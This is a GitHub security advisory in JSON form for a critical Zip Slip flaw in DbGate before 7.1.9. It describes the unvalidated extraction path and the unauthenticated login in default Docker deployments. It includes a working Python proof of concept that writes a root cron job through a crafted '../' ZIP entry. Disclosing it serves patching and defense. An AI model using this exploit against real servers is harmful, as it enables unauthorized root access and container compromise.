{"id":"GHSA-h535-j5hr-mv56","summary":"DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE","details":"The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem.\n\nIn the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker.\n\n**Affected code:**\n\n`packages/api/src/shell/unzipDirectory.js`, line 27:\n```js\nconst destPath = path.join(outputDirectory, entry.fileName);\n// No check that destPath stays within outputDirectory\n```\n\nCalled from `packages/api/src/controllers/archive.js`, lines 291-293:\n```js\nasync unzip({ folder }) {\n    const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });\n    await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));\n```\n\nThe archive controller also has zero permission checks and zero path traversal protection on any of its endpoints.\n\n**PoC:**\n\n```python\nimport requests, zipfile, io\n\nTARGET = \"http://localhost:3000\"\n\n# Get auth token (no credentials needed in default Docker)\nr = requests.post(f\"{TARGET}/api/auth/login\", json={\"amoid\": \"none\"})\ntoken = r.json()[\"accessToken\"]\nhdrs = {\"Authorization\": f\"Bearer {token}\"}\n\n# Create malicious ZIP with path traversal\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, 'w') as zf:\n    zf.writestr(\"../../../../../../etc/cron.d/dbgate-pwn\",\n                \"* * * * * root id \u003e /tmp/pwned\\n\")\nbuf.seek(0)\n\n# Upload ZIP\nr = requests.post(f\"{TARGET}/api/uploads/upload\", headers=hdrs,\n                  files={\"data\": (\"evil.zip\", buf, \"application/zip\")})\ninfo = r.json()\n\n# Save to archive\nrequests.post(f\"{TARGET}/api/archive/save-uploaded-zip\", headers=hdrs,\n              json={\"filePath\": info[\"filePath\"], \"fileName\": \"evil.zip\"})\n\n# Trigger Zip Slip - writes cron job to /etc/cron.d/\nrequests.post(f\"{TARGET}/api/archive/unzip\", headers=hdrs,\n              json={\"folder\": \"evil.zip\"})\nprint(\"Check /tmp/pwned after 1 minute\")\n```\n\n**Impact:** Arbitrary file write as root -\u003e RCE. Full container compromise in Docker deployments.","aliases":["CVE-2026-47669"],"modified":"2026-06-05T16:41:31.411030Z","published":"2026-06-05T16:26:01Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-22"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-06-05T16:26:01Z"},"references":[{"type":"WEB","url":"https://github.com/dbgate/dbgate/security/advisories/GHSA-h535-j5hr-mv56"},{"type":"PACKAGE","url":"https://github.com/dbgate/dbgate"},{"type":"WEB","url":"https://github.com/dbgate/dbgate/releases/tag/v7.1.9"}],"affected":[{"package":{"name":"dbgate","ecosystem":"npm","purl":"pkg:npm/dbgate"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.1.9"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 7.1.8","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-h535-j5hr-mv56/GHSA-h535-j5hr-mv56.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}